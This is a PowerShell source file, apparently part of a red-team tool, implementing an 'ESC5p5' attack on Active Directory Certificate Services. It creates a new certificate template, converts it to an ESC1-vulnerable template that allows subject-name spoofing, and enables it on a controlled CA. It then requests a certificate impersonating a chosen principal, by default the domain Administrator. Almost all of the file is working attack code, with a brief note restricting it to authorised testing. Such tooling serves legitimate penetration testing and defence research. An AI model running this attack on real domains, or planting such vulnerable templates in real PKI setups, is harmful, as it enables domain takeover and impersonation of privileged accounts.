Private/Invoke-ESC5p5Attack.ps1
|
function Invoke-ESC5p5Attack { <# .SYNOPSIS Performs an ESC5p5 attack by creating new vulnerable templates, enabling them on CAs, and executing the attack. .DESCRIPTION This function takes the output from Find-ESC5p5Combo (ESC5 certificate template container + enrollment service combinations), creates new certificate templates using New-BlankTemplateObject, configures them using Set-TemplateProperty, converts them to ESC1 vulnerabilities using ConvertTo-ESC1, enables them on the controlled Certificate Authorities using Enable-Template, and then executes the ESC1 attack using Invoke-ESC1Attack. ESC5p5 attacks exploit complete control over PKI infrastructure: 1. Control over certificate template containers (ESC5 CertTemplatesContainer) 2. Control over enrollment services/Certificate Authorities (ESC5 EnrollmentService) The attack process: 1. Create a new blank certificate template using New-BlankTemplateObject 2. Configure basic template properties using Set-TemplateProperty 3. Convert the template to be ESC1 vulnerable (allow SAN spoofing) using ConvertTo-ESC1 4. Enable the template on the controlled Certificate Authority using Enable-Template 5. Execute the ESC1 attack to obtain a certificate impersonating a target principal 6. Use the certificate to authenticate as the target principal .PARAMETER ESC5p5Result A result object from Find-ESC5p5Combo containing ESC5 certificate template container + enrollment service combinations. The object should have CertTemplatesContainers, EnrollmentServices, ESC5CertTemplatesIssues, and ESC5EnrollmentIssues properties. .PARAMETER TargetPrincipal DirectoryEntry object representing the security principal to impersonate in the certificate. If not specified, automatically discovers and uses the domain Administrator account (RID 500). .PARAMETER TemplateNamePrefix Prefix for the new template names that will be created. Defaults to "ESCalatorESC5p5". A timestamp will be appended to ensure uniqueness. .PARAMETER WhatIf Shows what attack would be performed without actually executing template creation, configuration, enablement, or attack. .INPUTS PSCustomObject ESC5p5 result objects from Find-ESC5p5Combo function. .OUTPUTS PSCustomObject[] Returns attack results for each template/CA combination that was created and attacked. .EXAMPLE # Find ESC5p5 vulnerabilities and attack them $esc5p5Results = Find-ESC5p5Combo -Issues $AllIssues $esc5p5Results | Invoke-ESC5p5Attack .EXAMPLE # Attack with specific target principal and custom template prefix $targetUser = Resolve-Principal -Identity "Administrator" $esc5p5Results = Find-ESC5p5Combo -Issues $AllIssues Invoke-ESC5p5Attack -ESC5p5Result $esc5p5Results[0] -TargetPrincipal $targetUser -TemplateNamePrefix "CustomAttack" .EXAMPLE # Use WhatIf to see what would happen $esc5p5Results = Find-ESC5p5Combo -Issues $AllIssues Invoke-ESC5p5Attack -ESC5p5Result $esc5p5Results[0] -WhatIf .NOTES WARNING: This function performs actual certificate attacks that can compromise security. Only use in authorized penetration testing or red team exercises. Requires: - No external tools; enrollment + PKINIT are pure PowerShell (vendored PSPkinit). - Network access to Certificate Authority - Appropriate permissions to create certificate templates - Appropriate permissions to modify CA configurations - Appropriate permissions to enroll certificates .LINK https://posts.specterops.io/certified-pre-owned-d95910965cd2 #> [CmdletBinding(SupportsShouldProcess)] param ( [Parameter(Mandatory, ValueFromPipeline)] [ValidateNotNull()] [PSCustomObject]$ESC5p5Result, [Parameter()] [System.DirectoryServices.DirectoryEntry]$TargetPrincipal, [Parameter()] [string]$TemplateNamePrefix = "ESCalatorESC5p5" ) begin { Write-Verbose "[$(Get-Date -Format 'yyyy-MM-dd hh:mm:ss')] Starting $($MyInvocation.MyCommand) on $env:COMPUTERNAME..." # Initialize results array $attackResults = @() # Get all ADCS objects for CA lookups Write-Verbose "Getting AD CS objects for CA DirectoryEntry lookups..." try { $AdcsObjects = Get-AdcsObjects Write-Verbose "Retrieved $($AdcsObjects.Count) AD CS objects" } catch { throw "Failed to get AD CS objects: $($_.Exception.Message)" } } process { Write-Verbose "Processing ESC5p5 result for principal: $($ESC5p5Result.PrincipalName)" # Validate input object structure if (-not $ESC5p5Result.PSObject.Properties['ESC5CertTemplatesIssues'] -or -not $ESC5p5Result.PSObject.Properties['ESC5EnrollmentIssues'] -or -not $ESC5p5Result.PSObject.Properties['CertTemplatesContainers'] -or -not $ESC5p5Result.PSObject.Properties['EnrollmentServices']) { Write-Warning "Invalid ESC5p5Result object. Expected properties: ESC5CertTemplatesIssues, ESC5EnrollmentIssues, CertTemplatesContainers, EnrollmentServices" return } if ($ESC5p5Result.ESC5CertTemplatesIssues.Count -eq 0 -or $ESC5p5Result.ESC5EnrollmentIssues.Count -eq 0) { Write-Warning "No ESC5 certificate template or enrollment issues found in result object for principal: $($ESC5p5Result.PrincipalName)" return } Write-Host "=== ESC5p5 Attack: $($ESC5p5Result.PrincipalName) ===" -ForegroundColor Red Write-Host "Found $($ESC5p5Result.ESC5CertTemplatesIssues.Count) certificate template container(s): $($ESC5p5Result.CertTemplatesContainers -join ', ')" -ForegroundColor Yellow Write-Host "Found $($ESC5p5Result.ESC5EnrollmentIssues.Count) controlled enrollment service(s): $($ESC5p5Result.EnrollmentServices -join ', ')" -ForegroundColor Yellow Write-Host "" # Create unique template names for each enrollment service $timestamp = Get-Date -Format "yyyyMMddHHmmss" $templateCounter = 1 # Process each controlled enrollment service (we only need one template per CA) foreach ($serviceName in $ESC5p5Result.EnrollmentServices) { $templateName = "$TemplateNamePrefix$timestamp$templateCounter" $templateCounter++ Write-Host "Creating and attacking template: $templateName via CA: $serviceName" -ForegroundColor Cyan # Find the corresponding ESC5 enrollment service issue $serviceIssue = $ESC5p5Result.ESC5EnrollmentIssues | Where-Object { $_.Name -eq $serviceName } | Select-Object -First 1 if (-not $serviceIssue) { Write-Warning "Could not find ESC5 enrollment issue for service: $serviceName" continue } # Find the CA DirectoryEntry object from ADCS objects $caDirectoryEntry = $AdcsObjects | Where-Object { $_.ObjectClass -eq 'pKIEnrollmentService' -and $_.Properties['name'].Value -eq $serviceName } | Select-Object -First 1 if (-not $caDirectoryEntry) { Write-Warning "Could not find DirectoryEntry for CA: $serviceName" continue } try { Write-Host " Step 1: Creating new blank certificate template..." -ForegroundColor Yellow if ($PSCmdlet.ShouldProcess("Template: $templateName", "Create new blank template")) { # Create a new blank certificate template $newTemplate = New-BlankTemplateObject -TemplateName $templateName if ($newTemplate) { Write-Host " [+] Successfully created blank template: $templateName" -ForegroundColor Green Write-Host " Step 2: Configuring template properties..." -ForegroundColor Yellow # Configure the template with basic properties $configResult = Set-TemplateProperty -TemplateName $templateName -Description "ESCalator ESC5p5 Attack Template" if ($configResult -and $configResult.Success) { Write-Host " [+] Successfully configured template properties" -ForegroundColor Green # Refresh the template object to get updated properties $newTemplate.RefreshCache() Write-Host " Step 3: Converting template to ESC1 vulnerability..." -ForegroundColor Yellow # Convert the template to ESC1 vulnerable $convertResult = ConvertTo-ESC1 -InputObject $newTemplate -PassThru if ($convertResult) { Write-Host " [+] Successfully converted template to ESC1" -ForegroundColor Green Write-Host " Step 4: Enabling template on Certificate Authority..." -ForegroundColor Yellow # Enable the template on the controlled CA $enableResult = Enable-Template -Template $convertResult -CertificateAuthority $caDirectoryEntry -PassThru if ($enableResult -and ($enableResult.Success -or $enableResult.Action -eq "Already Enabled")) { $enableAction = $enableResult.Action -or "Enabled" Write-Host " [+] Successfully enabled template on CA ($enableAction)" -ForegroundColor Green Write-Host " Step 5: Getting CA full name..." -ForegroundColor Yellow # Get the CA full name for certificate enrollment $caFullName = Get-CAFullName -CAObjects $caDirectoryEntry if ($caFullName) { Write-Host " [+] CA full name: $caFullName" -ForegroundColor Green Write-Host " Step 6: Executing ESC1 attack..." -ForegroundColor Yellow # Build parameters for Invoke-ESC1Attack $esc1Params = @{ TemplateObject = $convertResult CertificateAuthority = $caFullName } # Add optional parameters if provided if ($TargetPrincipal) { $esc1Params.TargetPrincipal = $TargetPrincipal } # Execute the ESC1 attack $attackResult = Invoke-ESC1Attack @esc1Params if ($attackResult) { Write-Host " [+] ESC1 attack completed successfully" -ForegroundColor Green # Create comprehensive result object $resultObject = [PSCustomObject]@{ PSTypeName = 'ESC5p5_Attack_Result' PrincipalName = $ESC5p5Result.PrincipalName PrincipalSID = $ESC5p5Result.PrincipalSID TemplateName = $templateName CertificateAuthority = $serviceName CAFullName = $caFullName AttackType = "ESC5p5" CreationSuccess = $true ConfigurationSuccess = $true ConversionSuccess = $true EnablementSuccess = $true AttackSuccess = $true AttackResult = $attackResult TargetPrincipal = $TargetPrincipal Timestamp = Get-Date ErrorMessage = $null } $attackResults += $resultObject Write-Host " [+] Attack result stored" -ForegroundColor Green } else { Write-Host " [x] ESC1 attack failed or returned no result" -ForegroundColor Red $resultObject = [PSCustomObject]@{ PSTypeName = 'ESC5p5_Attack_Result' PrincipalName = $ESC5p5Result.PrincipalName PrincipalSID = $ESC5p5Result.PrincipalSID TemplateName = $templateName CertificateAuthority = $serviceName CAFullName = $caFullName AttackType = "ESC5p5" CreationSuccess = $true ConfigurationSuccess = $true ConversionSuccess = $true EnablementSuccess = $true AttackSuccess = $false AttackResult = $null TargetPrincipal = $TargetPrincipal Timestamp = Get-Date ErrorMessage = "ESC1 attack failed or returned no result" } $attackResults += $resultObject } } else { Write-Host " [x] Failed to get CA full name" -ForegroundColor Red $resultObject = [PSCustomObject]@{ PSTypeName = 'ESC5p5_Attack_Result' PrincipalName = $ESC5p5Result.PrincipalName PrincipalSID = $ESC5p5Result.PrincipalSID TemplateName = $templateName CertificateAuthority = $serviceName CAFullName = $null AttackType = "ESC5p5" CreationSuccess = $true ConfigurationSuccess = $true ConversionSuccess = $true EnablementSuccess = $true AttackSuccess = $false AttackResult = $null TargetPrincipal = $TargetPrincipal Timestamp = Get-Date ErrorMessage = "Failed to get CA full name" } $attackResults += $resultObject } } else { $errorMsg = if ($enableResult -and $enableResult.Error) { $enableResult.Error } else { "Failed to enable template on CA" } Write-Host " [x] Failed to enable template on CA: $errorMsg" -ForegroundColor Red $resultObject = [PSCustomObject]@{ PSTypeName = 'ESC5p5_Attack_Result' PrincipalName = $ESC5p5Result.PrincipalName PrincipalSID = $ESC5p5Result.PrincipalSID TemplateName = $templateName CertificateAuthority = $serviceName CAFullName = $null AttackType = "ESC5p5" CreationSuccess = $true ConfigurationSuccess = $true ConversionSuccess = $true EnablementSuccess = $false AttackSuccess = $false AttackResult = $null TargetPrincipal = $TargetPrincipal Timestamp = Get-Date ErrorMessage = if ($enableResult -and $enableResult.Error) { $enableResult.Error } else { "Failed to enable template on CA" } } $attackResults += $resultObject } } else { Write-Host " [x] Failed to convert template to ESC1" -ForegroundColor Red $resultObject = [PSCustomObject]@{ PSTypeName = 'ESC5p5_Attack_Result' PrincipalName = $ESC5p5Result.PrincipalName PrincipalSID = $ESC5p5Result.PrincipalSID TemplateName = $templateName CertificateAuthority = $serviceName CAFullName = $null AttackType = "ESC5p5" CreationSuccess = $true ConfigurationSuccess = $true ConversionSuccess = $false EnablementSuccess = $false AttackSuccess = $false AttackResult = $null TargetPrincipal = $TargetPrincipal Timestamp = Get-Date ErrorMessage = "Failed to convert template to ESC1" } $attackResults += $resultObject } } else { $configError = if ($configResult -and $configResult.ErrorMessage) { $configResult.ErrorMessage } else { "Failed to configure template properties" } Write-Host " [x] Failed to configure template properties: $configError" -ForegroundColor Red $resultObject = [PSCustomObject]@{ PSTypeName = 'ESC5p5_Attack_Result' PrincipalName = $ESC5p5Result.PrincipalName PrincipalSID = $ESC5p5Result.PrincipalSID TemplateName = $templateName CertificateAuthority = $serviceName CAFullName = $null AttackType = "ESC5p5" CreationSuccess = $true ConfigurationSuccess = $false ConversionSuccess = $false EnablementSuccess = $false AttackSuccess = $false AttackResult = $null TargetPrincipal = $TargetPrincipal Timestamp = Get-Date ErrorMessage = $configError } $attackResults += $resultObject } } else { Write-Host " [x] Failed to create blank template" -ForegroundColor Red $resultObject = [PSCustomObject]@{ PSTypeName = 'ESC5p5_Attack_Result' PrincipalName = $ESC5p5Result.PrincipalName PrincipalSID = $ESC5p5Result.PrincipalSID TemplateName = $templateName CertificateAuthority = $serviceName CAFullName = $null AttackType = "ESC5p5" CreationSuccess = $false ConfigurationSuccess = $false ConversionSuccess = $false EnablementSuccess = $false AttackSuccess = $false AttackResult = $null TargetPrincipal = $TargetPrincipal Timestamp = Get-Date ErrorMessage = "Failed to create blank template" } $attackResults += $resultObject } } else { Write-Host " [i] WhatIf: Would create template $templateName, configure it, convert to ESC1, enable on CA $serviceName, and execute attack" -ForegroundColor Gray $resultObject = [PSCustomObject]@{ PSTypeName = 'ESC5p5_Attack_Result' PrincipalName = $ESC5p5Result.PrincipalName PrincipalSID = $ESC5p5Result.PrincipalSID TemplateName = $templateName CertificateAuthority = $serviceName CAFullName = $null AttackType = "ESC5p5" CreationSuccess = $null ConfigurationSuccess = $null ConversionSuccess = $null EnablementSuccess = $null AttackSuccess = $null AttackResult = $null TargetPrincipal = $TargetPrincipal Timestamp = Get-Date ErrorMessage = "WhatIf simulation" } $attackResults += $resultObject } } catch { Write-Host " [x] Error during ESC5p5 attack: $($_.Exception.Message)" -ForegroundColor Red Write-Verbose "Full error details: $($_.Exception | Format-List * | Out-String)" $resultObject = [PSCustomObject]@{ PSTypeName = 'ESC5p5_Attack_Result' PrincipalName = $ESC5p5Result.PrincipalName PrincipalSID = $ESC5p5Result.PrincipalSID TemplateName = $templateName CertificateAuthority = $serviceName CAFullName = $null AttackType = "ESC5p5" CreationSuccess = $false ConfigurationSuccess = $false ConversionSuccess = $false EnablementSuccess = $false AttackSuccess = $false AttackResult = $null TargetPrincipal = $TargetPrincipal Timestamp = Get-Date ErrorMessage = $_.Exception.Message } $attackResults += $resultObject } Write-Host "" } } end { Write-Verbose "ESC5p5 attack processing complete. Processed $($attackResults.Count) template/CA combination(s)" if ($attackResults.Count -gt 0) { $successfulAttacks = ($attackResults | Where-Object { $_.AttackSuccess -eq $true }).Count $failedAttacks = ($attackResults | Where-Object { $_.AttackSuccess -eq $false }).Count $whatIfAttacks = ($attackResults | Where-Object { $null -eq $_.AttackSuccess }).Count Write-Verbose "Attack Summary:" Write-Verbose " Successful attacks: $successfulAttacks" Write-Verbose " Failed attacks: $failedAttacks" Write-Verbose " WhatIf simulations: $whatIfAttacks" # Summary by phase $creationFailures = ($attackResults | Where-Object { $_.CreationSuccess -eq $false }).Count $configurationFailures = ($attackResults | Where-Object { $_.ConfigurationSuccess -eq $false }).Count $conversionFailures = ($attackResults | Where-Object { $_.ConversionSuccess -eq $false }).Count $enablementFailures = ($attackResults | Where-Object { $_.EnablementSuccess -eq $false }).Count Write-Verbose "Failure Analysis:" Write-Verbose " Template creation failures: $creationFailures" Write-Verbose " Template configuration failures: $configurationFailures" Write-Verbose " Template conversion failures: $conversionFailures" Write-Verbose " Template enablement failures: $enablementFailures" } Write-Verbose "[$(Get-Date -Format 'yyyy-MM-dd hh:mm:ss')] Finishing $($MyInvocation.MyCommand) on $env:COMPUTERNAME..." # Return the attack results return $attackResults } } |